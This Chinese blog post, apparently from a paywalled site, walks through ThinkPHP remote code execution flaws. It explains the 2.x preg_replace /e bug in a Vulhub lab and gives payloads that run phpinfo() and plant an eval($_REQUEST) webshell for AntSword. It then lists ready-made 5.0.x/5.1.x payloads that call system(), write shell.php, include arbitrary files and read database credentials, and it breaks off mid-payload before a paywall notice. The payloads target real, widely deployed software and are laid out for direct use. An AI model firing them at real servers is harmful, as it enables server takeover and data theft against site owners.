文章目录
ThinkPHP 2.x 任意代码执行漏洞
0x00 漏洞描述
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
0x01 影响版本
ThinkPHP 2.x
0x02 靶场环境
ThinkPHP 2.1:https://vulhub.org/#/environments/thinkphp/2-rce/
0x03 漏洞分析
存在漏洞的文件:/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
// line 87
if(!self::routerCheck()){
// 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {
// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
检测了路由规则,如果没有则按默认规则调度URL,然后解析剩余的URL参数。
1、 preg_replace( 搜索模式, 替换字符串, 搜索目标 );,e模式的正则支持执行代码,有了它可以执行第二个参数的命令(仅仅是一个php表达式,也就是不能有分号),第一个参数需要再第三个参数中有匹配,否则会返回第三个参数而不执行命令。
举个栗子:
<?php
$a = '123qwe';
$b = preg_replace('/\d/e', "print('This is a test!');", $a); // \d匹配数字
echo $b;
?>
执行结果(若把$a中的数字删去导致匹配不到,就不会执行print了):


2、正则表达式的搜索模式:(\w+)/([^/])是取每两个参数,$var['\1']="\2";是对数组的操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值。
例:
<?php
$var = array();
$s = 'a/b/c/d/e/f/g';
preg_replace("/(\w+)\/([^\/])/e", '$var[\'\\1\']="\\2";', $s);
print_r($var);
?>
执行结果(每两个一组,前者作为键,后者作为值,不足两个舍去):

3、回到出现漏洞的代码中,数组$var在路径存在模块和动作时,会去除掉前两个值,而数组$var来自于 $paths也就是路径。 为了让我们构造的语句得以执行,需要将语句作为数组的值,如:
/index.php?s=a/b/c/d/e/${
phpinfo()}
/index.php?s=a/b/c/${
phpinfo()}
/index.php?s=a/b/c/${
phpinfo()}/c/d/e/f
注:
- 其中要执行的语句再第偶数个参数的位置;
- PHP中
${}是可以构造一个变量的,如果里面写的是函数则里可以执行函数 - ThinkPHP的url规则
thinkphp 所有的主入口文件默认访问index控制器(模块)
thinkphp 所有的控制器默认执行index动作(方法)
存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
0x04 漏洞复现
构造payload(注意不能有分号):
http://192.168.1.113:8080/index.php?s=/index/index/name/${phpinfo()}
访问,成功执行phpinfo();函数:

0x05 getshell
构造payload:
http://192.168.1.113:8080/index.php?s=/index/index/name/${eval($_REQUEST[8])}&&8=phpinfo();
验证,执行成功:

蚁剑连接,成功getshell:

Thinkphp5 5.0.22 / 5.1.29远程执行代码漏洞
0x00 漏洞描述
由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。其中不同版本 payload 需稍作调整:
5.1.x:
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x:
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&<

本文详细介绍了ThinkPHP框架中的多个重要安全漏洞,包括任意代码执行、SQL注入及敏感信息泄露等,并提供了详细的漏洞分析、复现步骤及getshell方法。
最低0.47元/天 解锁文章
2958

被折叠的 条评论
为什么被折叠?



